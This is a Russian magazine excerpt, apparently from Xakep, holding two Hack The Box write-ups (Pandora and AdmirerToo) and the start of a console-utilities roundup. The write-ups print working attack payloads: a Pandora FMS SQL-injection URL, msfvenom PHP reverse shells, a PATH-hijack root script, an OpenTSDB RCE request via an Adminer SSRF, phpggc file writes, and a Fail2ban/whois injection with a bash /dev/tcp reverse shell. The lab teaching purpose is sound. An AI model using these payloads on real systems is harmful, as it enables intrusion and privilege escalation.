whatweb http://pandora.htb0
Резуль тат сканиро вания WhatWeb
Но никакой новой информации снова не получаем . В таком случае прос канируем скрытые директории в корневом каталоге сайта , к примеру
с помощью fuf.
Одно из первых действий при тестирова нии безопасности веб приложе ния — это сканиро вание методом перебора каталогов , чтобы найти скрытую информацию и недоступные обычным посетителям функции . Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый fuf. При запуске указыва ем сле дующие параметры :
•-w — словарь (я использую словари из набора SecLists);
•-t — количество потоков;
•-u — URL;
•-fc — исключить из результата ответы с кодом 403.
Коман да получается следующая :
ffuf -u http://pandora.htb/FUZZ -t 256 -w directory_2.3_medium.txt0
Резуль тат сканиро вания каталогов
И снова ничего важного . К данному моменту в моем чек листе остался не зак рыт пункт сканиро вания портов UDP, поэтому я зарядил Nmap, и это дало пло ды.
sudo nmap --min-rate=1500 -sU pandora.htb0
Резуль тат сканиро вания UDP-портов
ТОЧКА ОПОРЫ
После сканиро вания наиболее вероятных портов UDP мы нашли службу SNMP на порте 161. SNMP — простой протокол управления сетью. Он при меняется для мониторин га устройств в сети (например , маршру тизаторов, коммутато ров, принтеров ). Тут следует сразу упомянуть два понятия:
•MIB (management information base) — база данных информации управле
ния, хранящая данные обо всех объектах (параметрах и настрой ках) устройства ;
•OID (object identifer) — числовой идентифика тор объекта в дереве MIB.
При работе с удален ной системой по SNMP все запросы выполняют ся через OID, отражающий положение объекта в дереве объектов MIB. Но чтобы получить все строки , нам сначала нужно пройти своеоб разную аутентифика цию, указав строку — идентифика тор сообщес тва . Так как мы ее не знаем , нужно перебрать , к примеру с помощью Hydra. Перебирать будем по сло варю из набора SecLists.
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-
strings.txt pandora.htb snmp0
Перебор community-строки
Все OID системы можно получить, просканиро вав устройство , например сле дующей командой :
snmpbulkwalk -On -r1 -v2c -c public pandora.htb 10
Данные , полученные из системы
Так мы получаем какую то информацию , связан ную с пользовате лем , а также список запущенных процес сов . В последнем фигурирует скрипт host_check, которому передаются учетные данные обнаружен ного пользовате ля . Они помогают авторизо вать ся по SSH.
Сессия первого пользовате ля
ПРОДВИЖЕНИЕ
Теперь , когда мы получили доступ к хосту , нам нужно собрать информацию , которая поможет повысить привиле гии. Для поиска путей к этому я часто при бегаю к скриптам PEASS.
Что делать после того, как мы получили доступ в систему от имени поль зователя ? Вариантов дальнейшей эксплу ата ции и повышения привиле гий может быть очень много , как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов , которые проверя ют сис
тему на автомате .
Загружа ем чудо скрипт на удален ный хост с помощью SSH.
scp linpeas.sh daniel@pandora.htb:/tmp/linpeas.sh0
Затем даем право на выполнение и запускаем .
chmod +x /tmp/linpeas.sh0
/tmp/linpeas.sh0
В выводе получим очень много информации , из которой обратим внимание на приложе ния с выставлен ным битом SUID.
Когда у файла установ лен атрибут setuid (S-атрибут ), обычный пользователь , запускающий этот файл, получает повышение прав до пользовате ля — вла дельца файла в рамках запущенного процес са . После получения повышенных прав приложе ние может выполнять задачи, которые недоступны обычному пользовате лю . Из за возможнос ти состояния гонки многие операци онные системы игнориру ют S-атрибут , установ ленный shell-скриптам .
Среди них есть пользователь ская программа /usr/bin/pandora_backup.
Приложе ния с выставлен ным битом SUID
Но выполнить ее мы не можем, так как она доступна только группе поль зователя matt.
Права на программу
При поиске информации на хосте стоит просмотреть и уже знакомые нам сайты , так как они могут открыть пользовате лю дополнитель ные функции .
Запрос на порт 80
Так, при запросе страницы получим редирект в каталог /pandora_console/. Давай прокинем этот порт, то есть сделаем так, чтобы весь трафик , который приходит на определен ный порт локальной машины и идет с него, ретран сли ровался на тот же порт целевого хоста . Делаем это с помощью стандар тного
SSH.
ssh -L 80:127.0.0.1:80 daniel@pandora.htb0
Попробу ем обратить ся к сайту с локальной машины. Для этого выполним зап рос через браузер по адресу http://127.0.0.1/.
Главная страница Pandora FMS
Pandora FMS
Pandora FMS — это ПО для мониторин га компьютер ных сетей. Оно позволя ет отслеживать состояние и произво дительность несколь ких параметров ОС, серверов , приложе ний и аппарат ных систем , прокси серверов , базы данных , веб серверов или маршру тизаторов.
Внизу страницы мы можем увидеть версию ПО. Поэтому попробу ем поис кать готовые экспло иты для этой версии . Если у тебя под рукой Kali Linux, то у тебя уже есть база экспло итов — достаточ но восполь зовать ся утилитой
searchsploit.
Поиск экспло итов с помощью searchsploit
Находим четыре экспло ита для версии 7.0, но ни один из них либо не отра ботал, либо не дал результата , как бы я с ними ни химичил. Тогда я поп робовал найти какие нибудь отчеты или доклады запросом «pandora fms v7.0NG.742 vulns».
Поиск уязвимос тей в Google
CVE-2021-32099
Вторая ссылка из выдачи Google приводит нас на сайт, где упомяну ты иден тификаторы CVE для нужной нам версии .
Список возможных уязвимос тей
Две из них типа pre-auth, то есть нам не нужны учетные данные для эксплу ата ции. Зная идентифика торы, мы можем найти PoC поисковиком Sploitus. Так, следующий запрос приведет к эксплу атации SQL-инъекции , что установит
в браузе ре cookie админа .
http://127.0.0.1/pandora_console/include/chart_generator.php?session_
id=%27%20union%20SELECT%201,2,%27id_usuario|s:0
5:%22admin%22;%27%20as%20data%20--%20SgGO0
После обновления нам доступна админис тра тив ная панель Pandora.
Админис тра тив ная панель Pandora
RCE
Для получения удален ного выполнения кода мы можем восполь зоваться фун кцией установ ки расширений . Сначала сгенери руем реверс шелл на языке PHP с помощью MSFvenom.
msfvenom -p php/reverse_php LHOST=10.10.14.110 LPORT=4321 -f raw > r.
php cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d
'\n' > r.php && xclip -selection clipboard -o >> r.php0
Затем откроем листенер с помощью netcat.
rlwrap -cAr nc -lvnp 43210
Теперь установим расширение . Для этого перейдем Admin tools → Extension manager → Extension uploader.
Загрузка расширения
Вот только формат PHP система не принима ет . Почитав подробнее об этой функции , я узнал, что нужно загружать архив ZIP.
Сообще ние о загружен ном архиве
Теперь перейдем к нашему файлу в каталоге http://127.0.0.1/ pandora_console/extensions/ и получим бэкконнект .
Флаг пользовате ля
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Для удобной работы мы можем сгенери ровать ключи SSH (команда sshkeygen) и записать публичный ключ в файл /home/matt/.ssh/ authorized_keys. Это даст нам возможность авторизо ваться по SSH.
Теперь , когда мы имеем контекст пользовате ля matt, мы можем прис тупить к анализу бинарника с установ ленным S-битом. Запустим приложе ние , чтобы просмотреть его вывод.
Вывод приложе ния pandora_backup
Вывод приложе ния pandora_backup (продол жение )
В выводе упомина ется команда tar, а в текущей директории создает ся архив сайта . Просмотрим , как выполняет ся tar, для этого запустим программу
под локальным отладчиком ltrace. Это поможет нам увидеть вызовы функций из общих библиотек .
Запуск программы под ltrace
Таким образом , команда tar -cvf ... передается в функцию system. Уяз вимость появилась из за того, что не задан полный путь к файлу программы . В этом случае поиск файла будет вестись в каждом каталоге , указан ном в переменной окружения PATH. Если мы создадим в каталоге /tmp свой файл tar и добавим в начало переменной PATH этот каталог, то при вызове tar наш скрипт запустится . В качестве исполняемо го кода откроем новый bash. Посколь ку приложе ние выполняет ся от имени суперполь зователя, мы получим его права .
echo '#!/bin/sh' > tar
echo '/bin/bash -p' >> tar
chmod +x tar
PATH=/tmp$PATH
Создание скрипта и перезапись переменной окружения
Когда все будет готово, запустим приложе ние и получим новую привиле гиро ванную оболоч ку .
Флаг рута
Машина захвачена , можем забирать флаг рута.

|
|
|
hang |
e |
|
|
|
|
||
|
|
C |
|
|
E |
|
|
|||
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||
|
|
|
|
|
|
|
||||
|
wClick |
|
c |
|
o m |
ВЗЛОМ |
||||
|
|
|
|
|
|
|||||
|
|
|
to |
BUY |
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
.c |
|
||
|
. |
|
|
|
|
|
|
|
||
|
p |
|
|
|
|
|
g |
|
|
|
|
|
df |
-x |
|
n |
e |
|
|||
|
|
|
ha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x ha |
|
|
|
|
ЗАХВАТЫВАЕМ СЕРВЕР ЧЕРЕЗ FAIL2BAN
В этом райтапе я покажу, как эксплу ати
ровать Adminer, OpenTSDB и OpenCATS.
Для повышения привиле |
гий будем исполь |
||||||||||||||
зовать комбинацию |
уязвимос |
тей |
и |
|
|
неп |
|||||||||
равильных |
конфигура |
ций |
ПО: |
|
уязвимость |
||||||||||
произволь |
ной |
записи файлов |
OpenCATS |
||||||||||||
для конфигура |
ции |
|
whois, whois для получе |
||||||||||||
ния и инъекции |
команды |
терминала |
ОС |
||||||||||||
в Fail2ban и Fail2ban для ее активации |
. Все |
||||||||||||||
это — в рамках |
прохож дения |
сложной |
|||||||||||||
машины AdmirerToo |
с |
площад ки |
|
Hack |
|||||||||||
The Box. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
RalfHacker hackerralf8@gmail.com
Подклю чать ся к машинам с HTB рекомендует ся только через VPN. Не делай этого с компьюте ров , где есть важные для тебя данные , так как ты ока жешься в общей сети с другими участни ками .
РАЗВЕДКА
Добав ляем IP-адрес машины в /etc/hosts для удобства :
10.10.11.137 admirertoo.htb0
И запускаем сканиро вание портов .
Сканиро вание портов — стандар тный первый шаг при любой атаке . Он поз воляет атакующе му узнать, какие службы на хосте принима ют соединение . На основе этой информации выбирается следующий шаг к получению точки входа .
Наибо лее известный инстру мент для сканиро вания — это Nmap. Улучшить результаты его работы ты можешь при помощи следующе го скрипта .
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действу ет в два этапа . На первом произво дит ся обычное быстрое ска нирование , на втором — более тщатель ное сканиро вание , с использовани ем имеющих ся скриптов (опция -A).
Резуль тат работы скрипта
Скрипт нашел всего два открытых порта : 22 — служба OpenSSH 7.9p1 и 80 —
веб сервер Apache 2.4.38.
Начина ем традици онно с веба.
Главная страница сайта
Первым делом просканиру ем сайт на наличие скрытых ресурсов .
Одно из первых действий при тестирова нии безопасности веб приложе ния — это сканиро вание методом перебора каталогов , чтобы найти скрытую информацию и недоступные обычным посетителям функции . Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый fuf. При запуске указыва ем сле дующие параметры :
•-w — словарь (я использую словари из набора SecLists);
•-t — количество потоков;
•-u — URL;
•-fc — исключить из результата ответы с кодом 403.
Запус каем fuf:
ffuf -u http://admirertoo.htb/FUZZ -t 256 -w files_interesting.txt
-fc 4030
Резуль тат сканиро вания каталогов с помощью fuf
Ничего найти не удалось . Зато когда я попытался перейти на точно не сущес твующую страницу , я получил ссылку на домен admirer-gallery.htb.
Ошибка Not Found
Добавим найден ный домен в файл /etc/hosts и повторим сканиро вание на новом домене. Так найдем новый поддомен !
10.10.11.137 admirertoo.htb admirer-gallery.htb0
ffuf -u http://admirer-gallery.htb -t 256 -w subdomains-top1million-
110000.txt -H 'Host: FUZZ.admirer-gallery.htb' -fs 140990
Резуль тат сканиро вания поддоменов
Его тоже добавляем в /etc/hosts и получаем доступ к панели авториза ции
Adminer.
10.10.11.137 admirertoo.htb admirer-gallery.htb db.admirer-
gallery.htb0
Страница авториза ции Adminer
Adminer — это легковес ный инстру мент админис три рова ния СУБД, что то вроде легкого варианта phpMyAdmin. Так как авториза ция происхо дит по нажатию на кнопку , значит , учетные данные уже должны быть в исходном коде страницы .
Исходный код страницы
Так мы находим имя пользовате ля и пароль. Но сама панель Adminer ничего, кроме номера версии , нам не раскры вает .
Рабочая панель Adminer
ТОЧКА ВХОДА
Раз мы знаем номер версии , стоит поискать существу ющие экспло иты. Делать это я рекомендую при помощи Google.
Поиск экспло итов для Adminer 4.7.8
Так мы находим инструк цию с описани ем уязвимос ти (PDF). Этот баг поз волит нам просканиро вать внутренние ресурсы , а именно порты . Как указано в статье, запустим скрипт редиректор .
python2 redirect.py -p 80 http://127.0.0.10
Затем я решил перебрать возможные СУБД. Их список есть в докумен тации Adminer, а для перебора я использовал Burp.
Список поддержи ваемых СУБД
Запрос на сервер
Вместо server вставляем СУБД, а вместо localhost — свой локальный IPадрес. Для некоторых СУБД получим ответ с записью () admirer_ro..., а в других случаях совсем ничего.
Ответ сервера
Тогда я нашел исходники Adminer на GitHub и посмотрел , как указыва ются разные модули.
Список модулей
И первый же модуль elastic делает запрос на наш хост.
Запрос на сервер
Логи редиректора
А в браузе ре получаем код HTML-страницы с сервера . Это значит , что мы добились от сервера выполнения произволь ного запроса на другой ресурс.
Ответ сервера
ТОЧКА ОПОРЫ
Теперь нам нужно найти внутренние сервисы и получить какую нибудь информацию от них. Искать их сканиро ванием через найден ную уяз вимость — дело долгое и трудоем кое, поэтому начнем с поиска портов , под ключение к которым фильтру ется. Для этого выполним SYN-сканиро вание.
nmap -p- -sS admirertoo.htb0
Резуль тат сканиро вания портов
Мы нашли порт 4242. Получим ответ от сервиса , использовав описан ную выше атаку . Для обращения к интересу ющим нас страницам будем переза пускать редиректор .
python2 redirect.py -p 80 -i 10.10.14.54 http://127.0.0.1:4242/0
Ответ сервиса на порте 4242
Там развернут OpenTSDB. Это распре делен ная и масшта биру емая база дан ных времен ных рядов на основе HBase, которая собирает индикато ры кон тролиру емых объектов и сохраня ет их во времен ной последова тель нос ти . Запрашивая параметры определен ного индикато ра в течение конкрет ного периода , пользователь может видеть происхо дящие изменения . Так как зап росов придет ся выполнять много , добавим в настрой ках Burp Proxy опцию Match/Replace, которая будет автомати чес ки заменять в каждом запросе целевой модуль и адрес сервера .
Настрой ка поиска и замены
А теперь попробу ем узнать версию OpenTSDB. Посмотреть ее можно , обра тившись по адресу /api/version/.
python2 redirect.py -p 80 -i 10.10.14.54 http://127.0.0.1:4242/api/
version/0
Получе ние версии продук та
Получа ем версию 2.4.0. И снова ищем уязвимос ти в ней.
Поиск экспло итов для OpenTSDB 2.4.0
Эта версия уязвима , и для уязвимос ти есть PoC. Правиль ная эксплу ата ция может дать нам удален ное выполнение кода (RCE). Возможно , это потому, что значение полученных параметров записывает ся во времен ный файл, который потом выполняет ся . Для теста запустим tcpdump с фильтром про токола ICMP и попробу ем пингануть свой хост с удален ного сервера .
sudo tcpdump -i tun0 icmp0
python2 redirect.py -p 80 -i 10.10.14.54 'http://127.0.0.1:4242/
q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.
nice&o=&ylabel=&xrange=10:10&yrange=[33:system(%27ping+-c+4+10.10.14.
54%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json'
Ответ сервера
Но никакого пинга не пришло , а в ответе получаем какую то ошибку . Решение проблемы удалось найти на StackOverfow. Так, в PoC использует ся метрика sys.cpu.nice, которой не существу ет. Попробу ем узнать, какие есть мет рики.
python2 redirect.py -p 80 -i 10.10.14.54 'http://127.0.0.1:4242/api/
suggest?type=metrics'
Получе ние метрики
Теперь вставим это значение в экспло ит и повторим запрос .
python2 redirect.py -p 80 -i 10.10.14.54 'http://127.0.0.1:4242/
q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.
web.hits&o=&ylabel=&xrange=10:10&yrange=[33:system(%27ping+-c+4+10.
10.14.54%27)]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json'
Логи tcpdump
В логах tcpdump видим пришед ший пинг. Теперь сгенери руем реверс шелл и попробу ем получить бэкконнект . Для этого я восполь зуюсь онлайновым генератором Reverse Shell Generator. Ему нужно указать лишь локальный адрес, порт и шелл, и мы получим две команды : для запуска листенера и для создания обратного подклю чения . Вдобавок есть несколь ко возможнос тей для кодирования шелла .
Генери рова ние шелла Bash c кодировани ем Base64
Для запуска этого шелла используем конвей ер команд.
echo <base64 shell> | base64 -d | /bin/bash0
Но нагрузку нужно еще и закодировать как URL. Я пользуюсь расширени ем
HackVector для Burp Pro.
Кодиро вание команды
Запус каем листенер и отправляем команду .
python2 redirect.py -p 80 -i 10.10.14.57 'http://127.0.0.1:4242/
q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:http.stats.
web.hits&o=&ylabel=&xrange=10:10&yrange=[33:system(<COMMAND>)]&
wxh=1516x644&style=linespoint&baba=lala&grid=t&json'
Получе ние бэкконнек та
Продолжение статьи0 →

|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
r |
|
P |
|
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
|
||||
w Click |
|
BUY |
|
o m |
ВЗЛОМ |
|||||||
to |
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
|
c |
|
|
|
. |
|
|
|
|
|
. |
|
|
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
df |
-x |
|
n |
e |
|
|
|||
|
|
|
|
ha |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
|
X |
|
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
|
||
|
|
F |
|
|
|
|
|
|
t |
|
||
|
|
D |
|
|
|
|
|
|
|
i |
r |
|
|
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
|
||||
← |
|
|
|
|
|
|
|
|
|
|||
w |
|
|
|
|
|
|
|
|
|
m |
||
|
0НАЧАЛО СТАТЬИw Click |
to |
BUY |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
c |
|
|
|
c |
|
||
|
|
. |
|
|
|
|
. |
|
|
|||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
|
-x ha |
|
|
|
|
|
ЗАХВАТЫВАЕМ СЕРВЕР ЧЕРЕЗ FAIL2BAN
ПРОДВИЖЕНИЕ
Так как на хосте развернут веб сервер , а на нем работает даже две CMS, то первое наше действие — попробовать получить какие нибудь учетные дан ные пользовате лей. Высока вероятность , что эти же логины и пароли подой дут и для локальных пользовате лей в системе . Я решил просто найти подс троку pass в файлах CMS.
grep -iR 'pass' ./0
Поиск подстро ки pass
И в первом же файле видим целых два пароля, один из которых нам уже был известен.
Содер жимое файла servers.php
Пароль нашли , осталось посмотреть на существу ющих пользовате лей . Мож но взглянуть на домашние каталоги .
Список домашних каталогов
В системе всего один домашний каталог. С найден ным паролем удается авторизо вать ся от имени его владель ца .
Флаг пользовате ля
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ Поиск информации
Чтобы быстро найти возможнос ти для повышения привиле гий, я использую скрипты PEASS.
Что делать после того, как мы получили доступ в систему от имени поль зователя ? Вариантов дальнейшей эксплу ата ции и повышения привиле гий может быть очень много , как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов , которые проверя ют сис
тему на автомате . Как загрузить их на удален ный хост, я подробно описывал в предыду щих прохож дени ях .
Загружа ем версию для Linux на хост и запускаем скрипт.
Среди найден ной им важной информации в первую очередь замечаем порты , открытые только для локального хоста .
Список открытых портов
На порте 8080 работает система управления контентом OpenCATS.
Настрой ки VirtualHost
На хосте активен Fail2ban.
Список сокетов
Также находим учетные данные для подклю чения к базе данных OpenCATS.
Учетные данные , найден ные в файлах PHP
Ну и последний момент — мы нашли файлы и каталоги , доступные для записи любому пользовате лю .
Список файлов , доступных для записи
OpenCATS CMS
Перей дем к OpenCATS. Это опенсор сный инстру мент, который позволя ет рекрутерам работать с данными о персонале компании . Обратим ся к нему через браузер , и нас встретит форма авториза ции. На той же странице ука зан номер продук та.
Панель авториза ции OpenCATS
Что делать, если мы знаем версию какой то софтины ? Правиль но , искать информацию об уязвимос тях в ней. Первая же ссылка в Google — на опи сание бага с номером CVE.
Поиск экспло итов в Google
Проблема в том, что эксплу ата ция этой уязвимос ти возможна , только если мы уже авторизо ваны на сайте . Но мы можем получить пароль админис тра тора CMS прямо из базы данных , подклю чить ся к которой помогут учетные данные , полученные на этапе поиска информации .
mariadb -h 127.0.0.1 -u cats -padm1r3r0fc4ts
use cats_dev;
Подклю чение к базе данных OpenCATS
С помощью команды show tables; найдем таблицу , содержащую учетные данные пользовате лей .
Таблицы в базе данных OpenCATS
Нас интересу ет таблица user, а именно ее столбцы user_name и password.
select user_name,password from user;
Получе ние логинов и хешей паролей
Скорее всего , это хеши MD5, но взломать их не вышло . Тогда появилась идея заменить хеш в таблице своим . Это позволит установить админис тра тору известный нам пароль. Но перед этим посмотрим на привиле гии текущего пользовате ля базы данных .
show grants for 'cats'@'localhost';
Привиле гии текущего пользовате ля базы данных
Мы имеем полные привиле гии на базу, поэтому можем установить свой пароль (я поставил ralf_password).
update user set password = '80611e766bf21f75011a73b6dbf91cf9' where
user_name = 'admin';
Изменение записи в базе данных
Изменения внесены , и мы легко авторизу емся в OpenCATS от имени админа .
Главная страница OpenCATS
Теперь перейдем к замеченной ранее уязвимос ти . В рамках обычного поль зовательско го рабочего процес са приложе ние отправляет сериали зован ные данные в параметре parametersactivity:ActivityDataGrid. На сервере
эти данные десериали зуют ся с помощью функции unserialize. В PHPмодуле guzzlehttp мы можем вызвать метод destruct() из файла FileCookieJar.php, он расположен по такому пути:
guzzlehttp/guzzle/src/Cookie/FileCookieJar.php0
В результате будет вызван метод save() и появится возможность записать произволь ные файлы в системе . Имя файла , куда будут записаны данные , принима ет тот же метод save().
Для сериали зации данных мы будем использовать phpggc. Попробу ем записать файл test_copy.txt с содержимым TEST_TEST в доступный
для записи каталог /dev/shm (мы нашли его на этапе сбора информации ).
./phpggc -u --fast-destruct Guzzle/FW1 /dev/shm/test_copy.txt /tmp/
test.txt0
А теперь отправим полученные данные в параметре parametersactivity: ActivityDataGrid.
Страница Activities
Запрос в Burp Proxy
В итоге в каталоге /dev/shm появился файл test_copy.txt, содержащий
наши данные , но в своем формате . Также отмечаем , что файл создан от име ни пользовате ля devel.
Содер жимое каталога /dev/shm
Прямо получить контроль от имени этого пользовате ля не выйдет , так как у него нет командной оболоч ки .
Содер жимое файла /etc/passwd
Тогда найдем все файлы и каталоги текущего пользовате ля .
find / -group devel 2>/dev/null0
Файлы пользовате ля devel
Больше ничего не придумав , я решил перейти к Fail2ban.
Whois + Fail2ban
Fail2ban — простой локальный сервис , который отслежива ет log-файлы запущенных программ и после несколь ких неудачных попыток авториза ции блокиру ет запросы с определен ного IP-адреса . Сперва посмотрим , работает ли Fail2ban и на какую службу он реагирует .
Статус сервиса Fail2ban
Файл конфигура ций Fail2ban
Мы видим, что Fail2ban активен для службы SSH. Я стал искать, как его можно использовать при пентестах , и нашел описание уязвимос ти, которая может дать нам удален ное выполнение кода (RCE).
Суть бага заключа ется в том, что Fail2ban в случае блокиров ки использует Mailutils, чтобы отправить сообщение с информацией о заблокиро ванном адресе , для чего ему нужно выполнить команду whois. Если передать пос ледователь ность ~!, то можно выполнить свою команду . Таким образом , если у нас получится контро лировать вывод whois, мы можем передать в коман дную оболоч ку свой реверс шелл!
Среди каталогов , доступных для записи пользовате лю devel, есть /usr/ local/etc/, куда можно поместить файл конфигура ций whois.conf. Через уязвимость в OpenCATS запишем наш тестовый файл как конфиг , а потом для провер ки выполним команду whois.
./phpggc -u --fast-destruct Guzzle/FW1 /usr/local/etc/whois.conf /
tmp/test.txt0
Провер ка работы whois
Конфиг был записан и применен . Но OpenCATS добавляет свои данные , поэтому whois не может распарсить адрес. Эту проблему тоже можно решить, использовав регулярные выражения , а именно операцию OR (|) и любой символ (.). При этом попробу ем закрыть добавленные OpenCATS теги JSON. Таким образом , содержимое нашего файла test.txt будет таким:
}]|. [10.10.14.54]0
Снова перепишем конфиг .
Создание конфигура ции whois
Провер ка конфигура ции whois
Теперь при выполнении команды whois сервис обратит ся к службе whois на наш сервер (порт 43). Затем мы должны отдать ему реверс шелл с пос ледователь ностью ~|. Запишем нагрузку в файл и будем выводить в консоль при подклю чении к netcat.
echo -n '~| bash -c "bash -i >& /dev/tcp/10.10.14.54/4321 0>&1" &' >
/tmp/shell.txt0
nc -nvlkp 43 -c "cat /tmp/shell.txt"
Все готово к основной эксплу ата ции : при выполнении команды whois получим реверс шелл, который будет передан Fail2ban и выполнен в консоли . Откроем листенер на порте 4321 (rlwrap nc -lpv 4321) и попробу ем выз вать срабаты вание Fail2ban, попытавшись несколь ко раз авторизо вать ся по SSH.
Попыт ки подклю чить ся к SSH
После сообщении о сбросе подклю чения получим бэкконнект на свой лис тенер.
Флаг рута
Машина захвачена , и у нас есть флаг рута!

|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
r |
|
P |
|
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
|
||||
w Click |
|
BUY |
|
o m |
ТРЮКИ |
|||||||
to |
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
c |
|
|
|
|
c |
|
|
|
. |
|
|
|
|
|
. |
|
|
|||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
df |
-x |
|
n |
e |
|
|
|||
|
|
|
|
ha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
r |
|
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
c |
|
|
. |
|
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-x ha |
|
|
|
|
|
СОБИРАЕМ УТИЛИТЫ, КОТОРЫЕ ОБЛЕГЧАТ ЖИЗНЬ И РАБОТУ
Польский Кот brutsky@glc.ru
Не знаешь , чем заняться в праздни ки ? Не пыхтишь над гряд кой, подста вив пятую точку солнцу ? Не орешь песни в пьяном угаре ? Не беда! Сейчас я тебе расска жу о замеча тельных програм мках , копание с которыми тебя обязатель но развле чет . А может быть, что то из этого потом будет радовать тебя каждый день!
Это уже четвертая статья о консоль ных утилитах , которые делают нашу жизнь лучше . В первой мы рассмат ривали в основном сетевые утилиты , во вто рой — дашборды и прочие украшатель ства . В третьей я сконцен три ровал ся на жизни в Windows с WSL.
Я думал было заканчивать серию, но вы продол жаете присылать мне утилиты , которые считаете незаслужен но забытыми на (веб-) страницах Хакера. Поэтому сегодняшняя подборка будет почти полностью состоять из прис ланных читателями инстру мен тов , часть из которых я уже взял себе на воору жение. Думаю, и в твой чемоданчик что то найдет ся . Пошли смотреть !
РАБОТА С ФАЙЛАМИ
Goful
Goful — это новенький двухпанель ный файловый менеджер , написанный
на Go. Он поддержи вает многие полезные фичи вроде группового переиме нования с помощью регулярок и поиска . Есть встроенный терминал и многие другие полезности .
|
|
|
Скриншот |
Goful |
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
||||
Управля |
ется |
он немного |
непривыч |
но , |
но удобно : |
вместо |
шоткатов |
|||||
из двух трех кнопок здесь положено нажимать всего по одной. Например |
: |
|||||||||||
• пробелом |
можно выбрать |
один |
или |
несколь |
ко |
файлов |
(как клики |
с зажатым Ctrl в графичес ких средах );
•\ перебрасыва ет в корневую директорию (немного неочевид но, потому что слеш тут обратный, а не прямой , как принято в никсах );
•i — посмотреть файл в странич ном просмот рщике;
•b — добавить закладку на файл;
•f — открыть поиск по файлам ( f / — поиск в текущей папке );
•K — создать папку ;
